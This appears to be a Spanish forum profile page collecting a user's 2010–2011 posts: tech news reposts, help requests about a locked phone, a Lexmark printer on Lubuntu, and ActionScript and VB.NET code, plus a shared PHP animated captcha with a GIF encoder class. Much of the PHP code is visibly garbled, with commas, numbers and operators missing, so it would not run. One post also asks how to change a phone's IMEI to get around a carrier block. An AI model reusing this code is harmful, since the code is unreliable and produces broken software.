Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - WHK

#271
Hola, un dia me puse a conversar con amigos que reparan celulares pero solamente la parte física y me estubieron dando una charla básica de que era pin, puk, puk2, etc etc, desbloqueo por código y esas cosas, ... la cosa es que entendí a medias y les pasé mi celular, eran dos personas... el que me estaba dando la charla me dijo que ese modelo no podían sacarle la clave asi como así por códigos a menos que se use una pc porque es bloqueo de hardware....

Para hacerla mas corta esta otra persona que nos acompañaba intentó sacarle la clave con una clave supuestamente por defecto pero no funcionó, intentó tantas veces que después tube que esperar hasta la noche para poder ingresar mi clave y usar mi teléfono.

El problema ahora es que desde ese dia ahora me sale el mensaje "Fallo registro tarjeta SIM"

estuve buscando en varias webs un poco mas sobre este pequeño y grán mundo... encontré códigos que ni sabía que existian, aprendí que es el IMEI, etc....
Con todo eso que pude ver intenté primero hacer un soft reset, luego un hard reset, todo quedó de cero pero ese mensaje sigue saliendo.

Por ahi leí que ese problema viene cuando la compañía bloquea el imei del aparato por robo o lo que sea, en este caso es mio, lo compré en una tienda comercial... ¿habrá sido porque esta otra persona estubo jugando con mi cel unos segundos?

La cosa es que como dicen que el problema es con el bloqueo del imei busqué en google si se podía modificar el imei ya que eso no debería afectar al chip y justamente encontré varias tools pero me quedé con una de una página .ru, todos decian que era la mas usada y confiable para mi modelo asi que lo bajé (todas estas pruebas en una virtual con win xp) y lo ejecuté, también bajé herramientas como calculadoras para intentar la liberación, desbloqueos y esas cosas... en fin, pero me di cuenta que me pedía el puerto COM y yo -->  :¬¬

Ahi me di cuenta de que para hacer todas estas cosas todos los programas me piden el puerto COM y justamente por google se ven unos cables que se conectan del celular al puerto com.


Ahora mi pregunta es...
Puedo hacer algo sin ese puerto com? xD esque mi lap no tiene puerto com.
Talves subiendole algún jar que rootee el SO y haga lo mismo o via usb no se... tengo alguna alternativa para reparar eso?

Por ahi leí en las primeras respuestas que llamara a la compañía pero hace dos meses que no le hecho dinero al celular xD y menos todavía para hacer una simple llamada.
Tampoco puedo dejarlo como está porque recibe las llamadas pero las corta a los 10 segundos lanzando ese típico mensaje del registro de la sim card.

¿Que hago señores entendidos de la materia gris?
#272
Al parecer se debió a un error de un ordenador, aunque nunca se sabe. El caso es que un supermercado de Nueva Zelanda se abrió porque sí a eso de las ocho de la mañana del pasado Viernes Santo. ¿fue un milagro?, ¿una prueba divina? No se sabe, pero al menos veinticuatro personas aprovecharon para hacer su compra antes de lo debido.

Imagináos la escena: pasillos desiertos (todavía no habían llegado ni los reponedores), toneladas de comida y artículos de diverso tipo dispuestos para ser llevados debido a un misterioso error. ¿Quién no aprovecharía para llevarse algo con un suculento descuento del 100%?

Pues he aquí, amigos y amigas, que pasó algo curioso: los mañaneros y solitarios consumidores comenzaron a llenar sus carros y se pusieron a hacer cola delante de esas cajas en las que tú mismo puedes escanearte la compra. Se cree que al menos la mitad de los que allí estaban pagaron, pero he aquí que varias de las cajas se atascaron cuando los paseantes trataron de escanear bebidas alcohólicas (por lo visto la caja se bloquea a la espera de un asistente que certifique que el comprador es mayor de edad). Claro, como allí no había nadie aprovecharon para marcharse del establecimiento sin pagar, comportamiento que imitaron los demás que allí estaban.

Os estaréis preguntando "¿es que no había ningún buen vecino que avisara a la policía de lo que estaba ocurriendo?". Pues sí, lo hubo, pero como las buenas personas no madrugan (o eso creo) la autoridad no fue llamada hasta las 9:20, avisada de que en el supermercado había gente que cargaba "camiones de comida".

También fue avisado Gleen Miller, dueño del establecimiento (sin relación con el afamado músico de jazz) . Al principio Miller se cabreó bastante tirando a mucho, pero al final, cuando se dio cuenta de que no se podía hacer nada se lo ha tomado como una extraña publicidad de su establecimiento.

Eso sí, el buen hombre descarta organizar otra "jornada de puertas abiertas".

Fuente:
http://blog.drawcoders.com/2011/04/26/supermercado-de-nueva-zelanda-abre-solo/




De todas formas hubo gente que pagó xD no se ustedes hahaha
#273
La compañía japonesa anunció que lanzará la sucesora de su consola en 2012, en un intento por revertir una caída en las utilidades al disminuir las ventas de la primera versión del producto. El prototipo se conocerá en junio


Nintendo confirmó que ya tiene lista la Wii 2

Tal como se esperaba, Nintendo revelará un prototipo de la nueva Wii en Los Angeles, el 7 de junio en la muestra de juegos E3.

La compañía realizó el anuncio tras presentar su segunda caída consecutiva en utilidades anuales por una ralentización de las ventas de la Wii y los efectos del terremoto del 11 de marzo en el gasto de los consumidores japoneses.

Para contrarrestar la competencia cada vez más fuente de otros fabricantes de consolas de juego como Sony y de fabricantes de teléfonos inteligentes como Apple, Nintendo necesita nuevas máquinas exitosas para recuperar a los jugadores.

Como parte de esa campaña, Nintendo lanzó un aparato que ofrece juegos en 3D sin lentes especiales, el 3DS, a fines de febrero en Japón y un mes después en los EEUU y Europa.

Aunque la compañía nipona no quiso revelar más detalles, se espera que la nueva consola, a diferencia de la Wii, tendrá soporte para alta definición.

La Wii, que se maneja con un mando sin cables, catapultó a Nintendo a la cima del sector del videojuego. La consola que salió a la venta en 2006, no tenía imágenes HD a diferencia de las rivales Playstation 3, de Sony, y Xbox, de Microsoft.

Los usuarios, sin embargo, estaban encantados con la posibilidad de renunciar a un teclado y que el mando fuese como la prolongación de la mano.

Como consecuencia, la Wii fue ganando terreno en el mercado y convirtió a Nintendo en líder del sector. Hasta fines de marzo, la empresa japonesa ha vendido más de 86 millones de unidades.

Pero todo cambió a medida que la competencia aumentó la apuesta.

Sony y Microsoft están arrebatando a Nintendo mercado con sus propios mandos sensibles al movimiento. El sistema Kinect para la Xbox va incluso más lejos que Nintendo y permite jugar con ayuda de una cámara sin controladores en mano.

En el año de negocios que acaba de concluir, las ventas de consolas Wii cayeron a 15,1 millones de unidades desde 20,1 millones el año anterior. La firma espera que las ventas caigan en unos dos millones de unidades adicionales este año de negocios.

Las ventas de su aparato DS sin opción de 3D se redujo en casi 10 millones de unidades a 17,5 millones, y la compañía espera que esa cantidad se reduzca en 11 millones en este período.

Fuente:
http://www.infobae.com/notas/577621-Nintendo-confirmo-que-ya-tiene-lista-la-Wii-2.html
#274

El debut de Firefox 4 fue el 22 de marzo pasado. Hoy es 23 de abril y, según el contador de descargas de Mozilla, su navegador ha sido descargado más de 100 millones de veces en todo el mundo. Si hacemos la comparación con Internet Explorer 9 en su primer (y sorprendente) día de descargas, sus 2.3 millones palidecen ante los 3.3 millones en promedio que fue descargado Firefox. Auch.

La mayor parte de las descargas provienen de Europa. Tan solo en el viejo continente, el browser ha tenido más de 38 millones de downloads, con Alemania al frente, que participó con más de 7.2 millones. Le sigue Norteamérica (más de 29 millones de descargas) en donde Estados Unidos se lleva casi todo el pastel, con poco más de 24 millones de archivos. Después, Asia con 19.6 millones, América del Sur con 7.4 millones, África con casi 3.1 millones y Oceanía con 1.7 millones.

Los cinco primeros lugares en descargas en América del Sur:

Brasil 3,204,825
Argentina 1,222,442
Colombia 798,724
Chile 680,289
Venezuela 627,19

Y en América del Norte:

Estados Unidos 24,277,428
Canada 2,759,957
Mexico 1,584,615
República Dominicana 164,779
Puerto Rico 140, 420

Recuerden, estas cifras son las de la hora de publicación de esta entrada y seguramente habrán aumentado para cuando lean esto. (Como el screenshot que volví a hacer para que fuese más actualizado)

Fuente:
http://www.fayerwayer.com/2011/04/firefox-4-ha-sido-descargado-mas-de-100-millones-de-veces/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+fayerwayer+%28FayerWayer%29
#275
Hola, he estado revisando una pc de una escuela y para solucionar el problema del traspaso de virus via pendrive les mostré a los profesores lubuntu y les gustó a todos, les comenté sus venajas, etc, openofice, explorador firefox, etc... necesitaban solo lo básico e incluso funciona mas rápido y cómodo para ellos que windows 7 y se ahorran de andar comprando licencias.

El problema es que no hago funcionar la multifuncional, busqué el driver por todo internet y lo único que consigo son enlaces oficiales de lexmark pero todos rotos y al buscar en el centro de descargas oficial solo me aparecen los drivers de windows 7 y al intentar cambiar el sistema operativo me dice que no hay drivers para linux.

Esto quiere decir que antes si habian pero ahora no?
intenté con el driver del x1200 pero tampoco ya existe.

Me bajé dos .deb que encontré por ahi pero el gestor me dice que la biblioteca está rota... supongo que el .deb hace enlace con wget hacia el driver oficial que ya no existe dando un error 404.

Por ahi buscando y buscando algunos dicen que puede servir el driver de un modelo no recuerdo cual pero era de 3 dígitos, lo bajé, lo instalé y entonces recién el instalador de impresoras me reconoció que había una x1200 instaladay que si quería buscar los drivers por internet y me dice que no están disponibles porque es privativo y no hay libres. por lo tanto oficialmente ni por parte de ubuntu ni lexmark hay drivers.

Por ahí encontré unos mirros de ftp pero al descargarlos e instalarlos y reiniciar el servicio y todo lo demás tampoco me lo reconoció.

Que hago? obligado a pasarlos a windows 7 otraves por causa de una impresora?

Desde el foro de ubuntu todos hacen alución a un archivo que supuestamente existía pero solo me salen 404.

He enviado ya dos correos al soporte de lexmark desde ayer y aun no me han respondido nada.

Este lunes debo ir con una solución pero me desespera un poco tener que retractarme de los cambios que les hize, me van a decir despues que linux no funciona y me tocará explicarles todo el rollo del software privativo y el libre y volverles todo a windows 7 xD

Lo mas extraño es que lexmark aparece en la linux fundation como colaborador casi principal junto a yahoo, ibm, intel y varios mas.. que raro que de un dia para otro hayan retirado sus controladores para linux.
#276
Google dio a conocer que todos los nuevos videos subidos a YouTube ahora son transcodificados al códec WebM, además del códec H.264. Google desarrollo WebM, un formato multimedia abierto para videos y audio de la web, y su meta es que todo el mundo lo utilice de manera exclusiva.

El gigante de las búsquedas dice que también está trabajando en transcodificar el catalogo completo de videos YouTube a WebM, enfocándose primer en los más vistos. Hasta ahora la compañía ha transcodificado los videos que tienen el 99 por ciento de las vistas o casi 30 por ciento de todos los videos en su biblioteca. Usando su infraestructura en la nube para el procesamiento de videos, Google esta transcodificando constantemente: durante tiempos ocupados, el poder de procesamiento esta principalmente dedicado a nuevos videos, en los momentos menos ocupados, automáticamente algo de procesamiento sirve para convertir videos antiguos a WebM.

Google promete continuar ofreciendo soporte H.264 como es un códec importante para los videos de YouTube, pero no nos sorprendería que esto cambie algún día. La compañía ha estado moviendo las piezas para que mas y mas usuarios comiencen a usar WebM en vez de H.264.

Hace tres meses, Google anunció que dejaría de ofrecer soporte H.264 en Chrome para solo ofrecer soporte WebM. Días después el gigante de las búsquedas prometió ofrecer un plug-in WebM para Internet Explorer 9 y Apple Safari. Desde entonces la compañía sacó un plug-in para IE9 pero nada para Safari.

Microsoft y Apple están apostando en el códec H.264 ya que tiene una adopción mucho más amplia y porque tiene decodificadores de hardware, lo cual permite a los dispositivos móviles tener una mayor duración de batería y reproducción más fluida. Google desarrollo WebM como una alternativa, y ha logrado que Mozilla y Opera se suban abordo ya que la plataforma es más abierta y gratuita. Microsoft había dicho que solo ofrecería soporte para H.264 pero que harían una excepción para WebM. Apple se ha mantenido silencioso y por el momento solo tienen soporte para H.264.

"El mundo de los videos en línea es increíblemente complejo y dinámico," dijo un portavoz de Google en una declaración. "Nuestra meta es asegurar que nada se interponga entre tú y el excelente contenido que siempre has disfrutado. Continuaremos invirtiendo en nueva tecnología de videos que mejore las experiencias de todos nuestros usuarios, construya una mejor infraestructura en línea, de un mayor acceso a información y continua innovación."

Fuente:
http://www.techspot.com/espanol/noticias/43411-google-comienza-a-convertir-videos-de-youtube-a-webm.html
#277
Noticias / Yahoo se une a la Linux Foundation
22 Abril 2011, 09:03 AM


La Fundación Linux, una organización sin fines de lucro dedicada a acelerar el crecimiento de Linux, ha anunciado a Yahoo! como nuevo miembro "Plata". Durante el Collaboration Summit, Yahoo dio una charla y demostró el uso de Linux en toda la empresa, específicamente para la computación en nube.

   "La Fundación Linux es anfitrión de una variedad de proyectos de Linux muy importantes, así como recursos, herramientas y eventos que nos permiten maximizar nuestra inversión en la plataforma. Linux es un aspecto de software importante para la World Wide Web y es uno de varios componentes que se continuará utilizando en el futuro de la informática. Yahoo está encantado de colaborar con la Fundación Linux y sus pares para promover tecnologías que ayuden a Linux lograr su promesa", dijo Raymie Stata, director de tecnología en Yahoo.

Yahoo contribuirá con grupos de trabajo de la Fundación Linux e iniciativas centradas en la virtualización, cloudcomputing y temas legales. También participará en eventos de la Fundación, incluyendo el próximo Linux Foundation End User Summit.

Otro nuevo miembro es Igalia, una empresa de desarrollo de código abierto que ofrece servicios de consultoría para tecnologías de escritorio, móviles y web. Los desarrolladores de Igalia mantienen y contribuyen con código a una variedad de proyectos de código abierto, incluyendo GNOME, WebKit, Meego, el kernel Linux, freedesktop.org, Gstreamer y Qt.

También se une a la lista Panasonic.

Fuentes:
http://blog.drawcoders.com/2011/04/20/yahoo-se-une-a-la-linux-foundation/
http://www.crunchgear.com/2011/04/20/yahoo-joins-the-linux-foundation/
#278
Intel declaró que se encuentra trabajando para portar el Sistema Operativo Android 3.0 de Linux creado por Google a la arquitectura de los procesadores x86. La empresa abocada a la fabricación de procesadores, ha aprovechado la presentación de sus resultados trimestrales para informar acerca de sus estrategias relacionadas con los dispositivos móviles.

Su CEO, afirmó que se encuentran trabajando fuertemente para portar la plataforma para las tabletas de Google, Android 3.0 o Android Honeycomb, a la arquitectura de procesadores x86.  "Hemos recibido el código de Android Honeycomb de Google y estamos llevando a cabo la portabilidad", expresó.

De esta forma Intel se ha comprometido a lanzar tabletas con Android durante el transcurso de este 2011. En el caso de lograrlo, sería posible no sólo las tabletas Android con procesadores Intel sino que además ello significaría un gran acercamiento en el tabletas con Android hecho de que una versión del sistema operativo Android a un ordenador de escritorio.

En caso de tener éxito podrían verse tabletas con Android y un procesador Intel Core i3 o i5, algo que quizás puede resultar bastante fantasioso aún.

Fuente:
http://www.islabit.com/24711/intel-intenta-portar-android-3-0-en-los-procesadores-x86.html
#279
[youtube=425,350]http://www.youtube.com/watch?v=Zi_bMYFmFGg[/youtube]

De las maneras existentes para borrar la información en los CDs, ésta es por LEJOS la con el mayor estilo del mundo. Y hasta es ruda, y quizás si tuvieras este aparato electromagnético en tu casa, podrías conquistar a ese amor platónico. O quizás acabes quemando el computador o electrocutándote tú mismo. Pero tiene estilo igual...

Revisa el video con el borrado de dos discos simultáneos tras el salto:

[youtube=425,350]http://www.youtube.com/watch?v=Ho8xLhpx99c[/youtube]

Fuente




xDDDD talves sirva para borrar discos duros jajaja
#280
Hola, estaba haciendo una pequeña aplicación donde me permita subir archivos con progreso pero manipulado completamente desde javascript utilizando ExternalInterface y hasta el momento todo va bién pero al intentar llamar browser() no me funciona.

Intenté debuggearlo y si se ejecuta bién la función llamada desde el exterior pero esa función en particular no hace nada.

Si lo llamo desde una función interna haciendole click a lo que sea ahi si funciona bién.

Será algún metodo de seguridad nativa o algo por el estilo?

por lo menos si me deja enviar el archivo desde ExternalInterface.

Código (actionscript) [Seleccionar]
import flash.net.FileReference;
import flash.external.ExternalInterface;

var arrTypes:Array = new Array();
var objTypes:Object = new Object();
objTypes.description = "Todos los archivos";
objTypes.extension = "*";

arrTypes.push(objTypes);

var listUpload:Object = new Object();
var fileUpload:FileReference = new FileReference();
fileUpload.addListener(listUpload);

function buscarFL(){
/* No funciona */
fileUpload.browse(arrTypes);
}

function subirFL(){
fileUpload.upload(_root.uploadfile);
}

ExternalInterface.addCallback("buscarFL", this, buscarFL);
ExternalInterface.addCallback("subirFL", this, subirFL);

btbrowse.onRelease = function() {
/* Si funciona */
fileUpload.browse(arrTypes);
}

listUpload.onSelect = function(file) {
ExternalInterface.call("seleccionado", file.name);
}

listUpload.onProgress = function(file, bytesLoaded, bytesTotal):Void {
if(Math.round(bytesLoaded*100/bytesTotal) == 100){
ExternalInterface.call("estado", "Moviendo archivo ...");
}else{
ExternalInterface.call("estado", "Subiendo archivo " + Math.round(bytesLoaded*100/bytesTotal) + "%");
}
}

listUpload.onComplete = function(file:FileReference):Void {
ExternalInterface.call("estado", "Archivo subido correctamente");
}
#281
A veces uno se queda con la idea de que internet está "en la nube" y nos olvidamos de que en realidad, estamos conectados por unos cables que van por debajo del mar en la mayoría de los casos.

En Armenia, la conexión a internet viene en un 90% desde Georgia a través de un cable. Y accidentalmente, una mujer georgiana de 75 años que estaba cavando en busca de metales cortó el cable subterráneo de fibra óptica y le quitó internet a casi todo el país vecino. La mujer buscaba cobre, para venderlo después como chatarra.

Como consecuencia, 3,2 millones de personas se quedaron 5 horas sin internet, lo que provocó bastante caos para quienes requerían el servicio para trabajar. Algunas partes de la misma Georgia y de Azerbaiyán también se vieron afectadas.

El Ministerio del Interior de Georgia debió salir a dar explicaciones respecto del incidente. La mujer fue detenida cuando se descubrió el problema, aunque debido a su avanzada edad se la puso en libertad más tarde. De todos modos, puede enfrentar una condena de hasta 3 años por daños a la propiedad.

Mientras tanto, en los medios locales ya bautizaron a la señora como la "hacker de la pala"

:xD

Fuente:
http://www.fayerwayer.com/2011/04/mujer-de-75-anos-casi-corta-todo-el-internet-de-armenia-con-una-pala/
#282
ando buscando el nombre de este tema para usarlo en otro video pero no se su nombre ni lo he podido encontrar, alguien lo conoce o tiene alguna pista para poder seguir buscando?

[youtube=425,350]http://www.youtube.com/watch?v=u53hazSLgFg&feature=player_embedded[/youtube]

gracias de antemano.
#283
Habrá alguna forma mas efectiva que no sea haciendo un foreach procesando nodo por nodo del objeto XML para unir dos XmlNodeList?

el problema es que tengo un directorio con múltiples bases de datos y el sistema los argará todos y para procesar todo después quiero tener una sola variable y no un array de variables, normalmente podría mantener un array de XmlNodeList pero quiero buscar una alternativa que me permita unirlos talves con alguna función u operador.

Código (vbnet) [Seleccionar]
            Dim DBArch As String, DBs() As String
            DBs = Directory.GetFiles(DBURL, "*.xml", SearchOption.AllDirectories)

            Dim DBXML(DBs.Length) As XmlDocument
            Dim DBNodo(DBs.Length) As XmlNodeList
            Dim Id As Integer = 0
            For Each DBArch In DBs
                DBXML(Id).Load(DBArch)
                DBNodo(Id) = DBXML(Id).SelectNodes("/AutoRemoveXDB/item")
                Id = Id + 1
            Next

            DB = DBNodo ' Acá debería unir el array de DBNodo solamente en DB.
#284
PHP / SuperCaptcha animada by WHK
8 Enero 2011, 22:34 PM
hace tiempo hize un sistema de captcha utilizando la clase gifencoder que estuve usando en algunos sistemas mios, pero quiero compartilo xD

demo:






descarga: http://test.drawcoders.net/captcha/captcha.zip

rutas:
C:\xampp\htdocs\captcha>tree /f
Listado de rutas de carpetas
El número de serie del volumen es 00000200 BAEF:7637
C:.
│   index.php

└───includes
       captcha_fuente(bad).ttf
       captcha_fuente(beatnik).ttf
       captcha_fuente(belweb).ttf
       captcha_fuente(BERTRAMN).ttf
       captcha_fuente(butch).ttf
       captcha_fuente(cadellin).ttf
       captcha_fuente(candles).ttf
       GIFEncoder.class.php


captcha.php
Código (php) [Seleccionar]
<?php
$captcha 
= new captcha();

if((int)
$_GET['seg'] == 0){
 
$captcha->mostrar(0);
}elseif((int)
$_GET['seg'] == 2){
 
$captcha->mostrar(2);
}else{ 
/* 1 */
 
$captcha->mostrar(1);
}

class 
captcha{
 var 
$dir_data;

 function 
__construct(){
  
$this->dir_data './includes/';
 }
 
 function 
obtener_hash(){
  return 
$_SESSION['CAPTCHA'];
  
session_destroy();
 }

 function 
establecer_hash(){
  
$hash strtoupper(str_ireplace(
   array(
'o','0','i','l','1','y','s','5','8','7','t','6','b','d','u','q','2','z'),
   array(
'f','r','p','w','x','k','9','a','3','a','m','w','f','3','e','h','c','n'), 
   
substr(sha1(time().rand(0,100)), 04)
  ));
  
$_SESSION['CAPTCHA'] = $hash;
  return 
$hash;
 }

 function 
color_azar($handle){
  return 
imagecolorallocate($handlerand(0,255), rand(0,255), rand(0,255));
 }

 function 
crear_frame($buffer$fuente$seguridad 1){
  
/* Configuraciones */
  
$alto 25;
  
$ancho 160;
  
$lineas 30;
  
  
$handle imagecreate($ancho$alto);
 
  if(
$seguridad <= '1'){ /* Seguridad igual o menor a 1 */
   
$blanco imagecolorallocate($handle255255255);
   
$negro  imagecolorallocate($handle515151);
  }elseif(
$seguridad >= '2'){ /* Seguridad igual o mayor a 2 */
   
$blanco imagecolorallocate($handlerand(0255), rand(0255), rand(0255));
   
$negro  imagecolorallocate($handlerand(0255), rand(0255), rand(0255));
  }
 
  
/* Agrega las lineas */
  
if($seguridad >= '1'){ /* Seguridad igual o mayor a 1 */
   
for($cuenta 1$cuenta <= $lineas$cuenta++){
    
imageline($handlerand(0,$ancho), 0rand(0,$ancho), 25$this->color_azar($handle));
   }
  }
 
  
imagettftext($handle2002222$negro$fuentestrtoupper($buffer));
  
ob_end_clean(); /* Elimina la declaración de inicio de buffers anteriores en el motor */
  
ob_start(); /* Comienza a capturar buffer */
  
imagegif($handle); /* Crea imagen */
  
$retorno ob_get_contents(); /* Vuelca el contenido a la variable */
  
imagedestroy($handle); /* Libera memoria */
  
ob_end_clean(); /* Destruye el buffer */
  
return $retorno/* Retorna el buffer de la imagen */
 
}

 function 
mostrar($seguridad 1){
  
/* Seguridad va del 0 al 2 */
  
$string $this->establecer_hash();
  include(
$this->dir_data .'GIFEncoder.class.php');
  
$cantidad_frames 10;
  
$fuente glob($this->dir_data .'/captcha_fuente(*).ttf');
  
$fuente $fuente[(int)rand(0count($fuente) - 1)];
 
  for(
$cuenta 0$cuenta <= $cantidad_frames$cuenta++){
   
$buffer $this->crear_frame($string$fuente$seguridad);
   
$rutas_frames[$cuenta] = sys_get_temp_dir().'/'.md5(microtime().rand(10500)).'.gif';
   
file_put_contents($rutas_frames[$cuenta], $buffer);
   unset(
$buffer);
  }

  
$gif = new GIFEncoder($rutas_framesfalse02000'url');
 
  foreach(
$rutas_frames as $eliminar){
   @
unlink($eliminar);
  }
 
  
header('Content-type: image/gif');
  echo 
$gif->GetAnimation();
  exit;
 }

}

?>


GIFEncoder.class.php
Código (php) [Seleccionar]
<?php
/*
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: GIFEncoder Version 2.0 by László Zsidi, http://gifs.hu
::
:: This class is a rewritten 'GifMerge.class.php' version.
::
::  Modification:
::   - Simplified and easy code,
::   - Ultra fast encoding,
::   - Built-in errors,
::   - Stable working
::
::
:: Updated at 2007. 02. 13. '00.05.AM'
::
::
::
::  Try on-line GIFBuilder Form demo based on GIFEncoder.
::
::  http://gifs.hu/phpclasses/demos/GifBuilder/
::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
*/

Class GIFEncoder {
var $GIF "GIF89a"; /* GIF header 6 bytes */
var $VER "GIFEncoder V2.05"; /* Encoder version */

var $BUF = Array ( );
var $LOP =  0;
var $DIS =  2;
var $COL = -1;
var $IMG = -1;

var $ERR = Array (
ERR00=>"Does not supported function for only one image!",
ERR01=>"Source is not a GIF image!",
ERR02=>"Unintelligible flag ",
ERR03=>"Does not make animation from animated GIF source",
);

/*
:::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: GIFEncoder...
::
*/
function GIFEncoder (
$GIF_src$GIF_dly$GIF_lop$GIF_dis,
$GIF_red$GIF_grn$GIF_blu$GIF_mod
) {
if ( ! is_array $GIF_src ) && ! is_array $GIF_tim ) ) {
printf "%s: %s"$this->VER$this->ERR 'ERR00' ] );
exit );
}
$this->LOP = ( $GIF_lop > -) ? $GIF_lop 0;
$this->DIS = ( $GIF_dis > -) ? ( ( $GIF_dis ) ? $GIF_dis ) : 2;
$this->COL = ( $GIF_red > -&& $GIF_grn > -&& $GIF_blu > -) ?
$GIF_red | ( $GIF_grn << ) | ( $GIF_blu << 16 ) ) : -1;

for ( $i 0$i count $GIF_src ); $i++ ) {
if ( strToLower $GIF_mod ) == "url" ) {
$this->BUF [ ] = fread fopen $GIF_src $i ], "rb" ), filesize $GIF_src $i ] ) );
}
else if ( strToLower $GIF_mod ) == "bin" ) {
$this->BUF [ ] = $GIF_src $i ];
}
else {
printf "%s: %s ( %s )!"$this->VER$this->ERR 'ERR02' ], $GIF_mod );
exit );
}
if ( substr $this->BUF $i ], 0) != "GIF87a" && substr $this->BUF $i ], 0) != "GIF89a" ) {
printf "%s: %d %s"$this->VER$i$this->ERR 'ERR01' ] );
exit );
}
for ( $j = ( 13 * ( << ( ord $this->BUF $i ] { 10 } ) & 0x07 ) ) ), $k TRUE$k$j++ ) {
switch ( $this->BUF $i ] { $j } ) {
case "!":
if ( ( substr $this->BUF $i ], ( $j ), ) ) == "NETSCAPE" ) {
printf "%s: %s ( %s source )!"$this->VER$this->ERR 'ERR03' ], ( $i ) );
exit );
}
break;
case ";":
$k FALSE;
break;
}
}
}
GIFEncoder::GIFAddHeader ( );
for ( $i 0$i count $this->BUF ); $i++ ) {
GIFEncoder::GIFAddFrames $i$GIF_dly $i ] );
}
GIFEncoder::GIFAddFooter ( );
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: GIFAddHeader...
::
*/
function GIFAddHeader ( ) {
$cmap 0;

if ( ord $this->BUF ] { 10 } ) & 0x80 ) {
$cmap * ( << ( ord $this->BUF ] { 10 } ) & 0x07 ) );

$this->GIF .= substr $this->BUF ], 67 );
$this->GIF .= substr $this->BUF ], 13$cmap );
$this->GIF .= "!\377\13NETSCAPE2.0\3\1" GIFEncoder::GIFWord $this->LOP ) . "\0";
}
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: GIFAddFrames...
::
*/
function GIFAddFrames $i$d ) {

$Locals_str 13 * ( << ( ord $this->BUF $i ] { 10 } ) & 0x07 ) );

$Locals_end strlen $this->BUF $i ] ) - $Locals_str 1;
$Locals_tmp substr $this->BUF $i ], $Locals_str$Locals_end );

$Global_len << ( ord $this->BUF 0  ] { 10 } ) & 0x07 );
$Locals_len << ( ord $this->BUF $i ] { 10 } ) & 0x07 );

$Global_rgb substr $this->BUF 0  ], 13,
* ( << ( ord $this->BUF 0  ] { 10 } ) & 0x07 ) ) );
$Locals_rgb substr $this->BUF $i ], 13,
* ( << ( ord $this->BUF $i ] { 10 } ) & 0x07 ) ) );

$Locals_ext "!\xF9\x04" chr ( ( $this->DIS << ) + ) .
chr ( ( $d >> ) & 0xFF ) . chr ( ( $d >> ) & 0xFF ) . "\x0\x0";

if ( $this->COL > -&& ord $this->BUF $i ] { 10 } ) & 0x80 ) {
for ( $j 0$j < ( << ( ord $this->BUF $i ] { 10 } ) & 0x07 ) ); $j++ ) {
if (
ord $Locals_rgb $j } ) == ( ( $this->COL >> 16 ) & 0xFF ) &&
ord $Locals_rgb $j } ) == ( ( $this->COL >>  ) & 0xFF ) &&
ord $Locals_rgb $j } ) == ( ( $this->COL >>  ) & 0xFF )
) {
$Locals_ext "!\xF9\x04" chr ( ( $this->DIS << ) + ) .
chr ( ( $d >> ) & 0xFF ) . chr ( ( $d >> ) & 0xFF ) . chr $j ) . "\x0";
break;
}
}
}
switch ( $Locals_tmp } ) {
case "!":
$Locals_img substr $Locals_tmp810 );
$Locals_tmp substr $Locals_tmp18strlen $Locals_tmp ) - 18 );
break;
case ",":
$Locals_img substr $Locals_tmp010 );
$Locals_tmp substr $Locals_tmp10strlen $Locals_tmp ) - 10 );
break;
}
if ( ord $this->BUF $i ] { 10 } ) & 0x80 && $this->IMG > -) {
if ( $Global_len == $Locals_len ) {
if ( GIFEncoder::GIFBlockCompare $Global_rgb$Locals_rgb$Global_len ) ) {
$this->GIF .= ( $Locals_ext $Locals_img $Locals_tmp );
}
else {
$byte  ord $Locals_img } );
$byte |= 0x80;
$byte &= 0xF8;
$byte |= ( ord $this->BUF ] { 10 } ) & 0x07 );
$Locals_img } = chr $byte );
$this->GIF .= ( $Locals_ext $Locals_img $Locals_rgb $Locals_tmp );
}
}
else {
$byte  ord $Locals_img } );
$byte |= 0x80;
$byte &= 0xF8;
$byte |= ( ord $this->BUF $i ] { 10 } ) & 0x07 );
$Locals_img } = chr $byte );
$this->GIF .= ( $Locals_ext $Locals_img $Locals_rgb $Locals_tmp );
}
}
else {
$this->GIF .= ( $Locals_ext $Locals_img $Locals_tmp );
}
$this->IMG  1;
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: GIFAddFooter...
::
*/
function GIFAddFooter ( ) {
$this->GIF .= ";";
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: GIFBlockCompare...
::
*/
function GIFBlockCompare $GlobalBlock$LocalBlock$Len ) {

for ( $i 0$i $Len$i++ ) {
if (
$GlobalBlock $i } != $LocalBlock $i } ||
$GlobalBlock $i } != $LocalBlock $i } ||
$GlobalBlock $i } != $LocalBlock $i }
) {
return ( );
}
}

return ( );
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: GIFWord...
::
*/
function GIFWord $int ) {

return ( chr $int 0xFF ) . chr ( ( $int >> ) & 0xFF ) );
}
/*
:::::::::::::::::::::::::::::::::::::::::::::::::::
::
:: GetAnimation...
::
*/
function GetAnimation ( ) {
return ( $this->GIF );
}
}
?>
#285
.NET (C#, VB.NET, ASP) / Nickmania sourcecode
19 Noviembre 2010, 10:25 AM
Hola, les dejo elcódigo fuente de nickmania por si le interesa a alguien.
Está en vb.net

http://www.megaupload.com/?d=RGE2DOO0



clase funciones.vb:
Código (vbnet) [Seleccionar]
Imports System.Text

Public Class Funciones

   Public Function Convertir(ByVal Buffer As String, ByVal Tipo As String) As String
       Try
           If Tipo = "decimal" Then
               Return AscW(Buffer).ToString

           ElseIf Tipo = "hexadecimal" Then
               Return UCase(Hex(AscW(Trim(Buffer)))).ToString

           ElseIf Tipo = "html" Then
               Return "&#x" & UCase(Hex(AscW(Trim(Buffer)))).ToString & ";"

           Else
               Return Buffer

           End If
       Catch
           Return Buffer
       End Try
   End Function

End Class


Form1.vb:
Código (vbnet) [Seleccionar]
Imports System.Text

Public Class Form1

   Public Func As New Funciones
   Public LastChar As String
   Public StrDefaultMSG As String = "Su nick acá"
   Private Evitar_VerificarMSG As Boolean

